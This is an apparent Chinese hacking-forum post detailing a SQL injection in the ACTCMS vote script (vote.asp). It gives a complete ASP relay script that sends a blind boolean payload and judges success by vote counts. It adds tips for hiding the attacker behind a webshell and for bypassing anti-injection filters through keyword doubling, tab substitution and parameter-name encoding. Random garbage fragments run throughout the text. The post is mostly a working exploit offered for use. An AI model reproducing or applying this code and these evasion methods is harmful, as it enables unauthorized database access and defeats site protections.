注入中转的高级应用，actcms漏洞以及其他

admin

; A1 s# j9 d" ]5 |) r& F" J看到ninty大牛的blog的一篇文章
; E7 C& v* l; b; z链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
' w& G7 `: @) h9 L# ~3 J" j) r, }9 c漏洞文件：
- O2 b  g$ Z/ Y# j/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

8 ^6 c. t5 W% D$ `: B2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
: B7 }5 `" S' B9 J0 F
3    response.end   

* L2 q. q: e: M1 S1 {4    end if   
% {- t/ T3 X# u# _5 A6 D
5    for i=1 to request("voted").count   

4 a' Y4 R* y' [6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
* \: v, P4 z4 x* B8 Z
" s% `+ [- d4 N7    next   
: n7 u# ~- _% P2 }6 D
2 l  H. a1 I7 j: e  j6 U- C* x8....   

9response.Redirect "index.asp?id="&id&""   
/ c: @+ A) u: K: X+ W投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
, `: ]  w" Q$ T% c% w0 |            失败票数不变
如图：
) Z8 T2 L  h* B6 m" Uhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
2 _7 Q9 x' q- Q  R
2009-12-27 13:20

利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

1 F- F7 ~/ d3 V# X本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
* B1 Y4 M3 ~; l1 T# M' F先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
8 X, g8 a6 Y: V: x1 y" Z7 n. g
* p' Q0 a6 r! `# I1 e02JmdcwName=request("jmdcw")

( S$ G/ }8 W) W  @- b- W' s03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
% W1 |; ~- B0 x9 C
04JmStr="id=1&voted=-1 or 1="&JmdcwName
) ]# u* H" e) u
05JmStr=URLEncoding(JmStr)
2 R- k' b/ C% C! M" {7 {
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
) \3 b( r% ^2 {
08testurl=testurl & "?" & JmStr
4 d0 Y2 G: ]& z, N6 q1 l
: |8 i& W% P2 P) F$ c7 V* M1 s" k$ R09JMUrl=JMUrl & "?" & JmStr

% s; j9 W& n* z2 W" D$ U4 N0 Q4 n10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

8 O6 q3 {6 p7 w1 C2 M5 |0 ^# e9 u12JmCok=replace(JmCok,chr(32),"%20")  
+ j, c: S5 M* w; U
- h+ v0 K( \& N5 a13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
* @- u; \6 y2 t# w/ O) }1 O
14  

15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

16  

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
8 P0 t' m1 j5 l- D4 L) o' f# f: C* k
18response.write test1&""&test2&""
5 N& y( I9 T; k) j7 E7 ?3 C
19  
+ o% X, K5 ~+ k  [, x
20if test1=test2 then '如前后记录相等，表示失败
7 }: b) p0 h  |$ t% t& _5 Q. P
21  response.write "failed"

22else
# M  l- I4 I" {. D  n
23  response.write "succeed"

" D$ A1 Z0 W3 a% z- W/ a! Q24end if  
) K! T6 s, J+ h1 M6 f. b! i
8 w4 H8 P0 \. }. B) C* n25  

7 v! k! ]& j/ i  i- E0 O26response.write "by 3x"
+ `9 N1 f5 z; S/ T6 V  H
27  
3 |. S$ a, |2 N( Z. r, l+ L
, G9 V" ~/ \( ~, y3 S28  

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

30Dim Http

, W3 |- l* Q% F. m% C) s31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

/ w. N& ~, I* d32With Http

33  

/ e3 |7 y$ `$ p" F# V% x34.Open "GET",PostUrl,False
4 L! h: {# D* N' x" Y7 g
( {8 ^0 ]1 `3 m$ t35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

36.SetRequestHeader "Referer",PostRef
3 `# e( ]7 O/ L6 ], j% A) T! B
( B5 a8 H3 E" F3 Q9 y1 |37.SetRequestHeader "Cookie",PostCok
  o( d8 Z2 o' H5 Y
2 c, |" o3 J" J' k38.Send ()

; D* A& t4 N3 F39PostData = .ResponseBody
+ S% C4 `! m  \* R- D
# e0 l2 L  `7 k40End With

) j8 \3 v" }8 g# h' [7 x) r4 ^41Set Http = Nothing

42PostData =bytes2BSTR(PostData)
( w3 n. ~: m3 i' ?) R! M7 y9 ^
43End Function

44  

$ L3 |- ?  v2 `: l+ S4 u45  
2 P& d1 L3 z* D0 C$ J
, D$ a3 q- O7 W, Q, r46Function bytes2BSTR(vIn)

47Dim strReturn

6 f2 P8 K& l4 _% [48Dim I, ThisCharCode, NextCharCode

49strReturn = ""
" B0 m3 `! I. j3 c
; R% i& m# l3 F2 K+ Q50For I = 1 To LenB(vIn)

- N. S! a3 M; s) i5 M7 z1 t% ?  w51ThisCharCode = AscB(MidB(vIn, I, 1))

5 s4 x0 `+ m* u; b52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)
& `1 k- \- y  a0 X7 {7 O* h3 L
54Else
- |- p  Z9 p: ^- P  {
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
! z! x! O% p( J$ t" r
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
7 E  a; Y' ?5 Q  M* G) c; @( f
57I = I + 1

7 r/ Y/ z% }- l9 Z58End If
' V6 h7 |( |. u& J; f7 v
59Next

60bytes2BSTR = strReturn
' J/ b4 c. t3 I. u% k# m
61End Function

62  

63Function URLEncoding(vstrin)  

64strReturn=""

8 F+ L# T" n+ s! b) R. |+ M65Dim i
6 z) u" B) o- |( t# j  S
" p: f3 y9 P; P+ I$ U  a, Z66For i=1 To Len(vstrin)

; c- G( ?5 j7 ^; E- k* o4 e67ThisChr=Mid(vstrin,i,1)

2 e- O* g7 S2 o4 m0 j. o68if Abs(Asc(ThisChr))< &HFF Then
0 ?/ l1 X9 |0 R1 o
2 u) o' o- }1 q5 o. |% ^69strReturn=strReturn & ThisChr
2 F% o5 z0 h5 G5 Y
70Else
4 R1 y  `5 G3 o2 _6 M; ^
71InnerCode=Asc(ThisChr)

& K  o% x$ s9 [4 j; h0 E! h72If InnerCode<0 Then
  W0 F1 E4 r3 C9 H7 E
1 Y- S3 O* O0 r/ s# X73InnerCode=InnerCode + &H10000

74End If

75Hight1=(InnerCode And &HFF00) \&HFF

$ O- ?; R8 ^3 O) q: Y9 D76Low1=InnerCode And &HFF

3 I; f) ?% m. |: V/ F% |77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if

1 p% o, S+ n: z8 l/ N% s% w! C79Next
( T1 n: i) O' N) y& y5 b7 W' u
) _( @! i7 {1 r' [6 n5 V1 {80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
% x* I- j: @! J1 ]1 j
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

+ n% C$ v  s9 L82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn
( V/ A8 j# @5 _. N' X/ I/ [
84End Function
+ E% |( U! n# r' M# {- v* Z
* ]  X( c0 c( G+ `85  

86function getSt(body)
+ P$ _/ g; c2 L0 t  w% w
6 Z. f4 D# i0 F2 {( u) L87  startpot=instr(body,"投票人数：")+len("投票人数：")
5 w, [: c5 N/ I6 R6 U
3 n8 D; s% A$ k6 B: X9 O1 z0 {) ?88  endpot=instr(startpot,body," ")

5 i5 D- T& q& U3 @. o& r/ F' k89  getSt=mid(body,startpot,endpot-startpot)
6 g* Y: Y" Z% Y. ?2 J
90end function

$ @: B# `9 }$ d; `; x91%>
  a* R5 R" m: F1 P+ y注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
7 e/ n) J6 }9 ?, d0 c* K7 R# g0 a
2009-12-27 13:29
投票失败
$ q! K1 L  c- D5 s5 J0 Whttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

- d; \, d5 h# D% v1 K' O( W4 S2009-12-27 13:29
2 x& k" ], \$ I# [0 a-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
( O2 S1 y, c8 {* S! z) l-------------------------------------------------------------------------------

( |8 P, W2 z' ]* {+ P注入中转的一些其他应用
. J9 B7 F5 x! H2 U其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
5 T* l2 N6 ]$ @, k7 Y3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
/ C3 a  G# U  M' K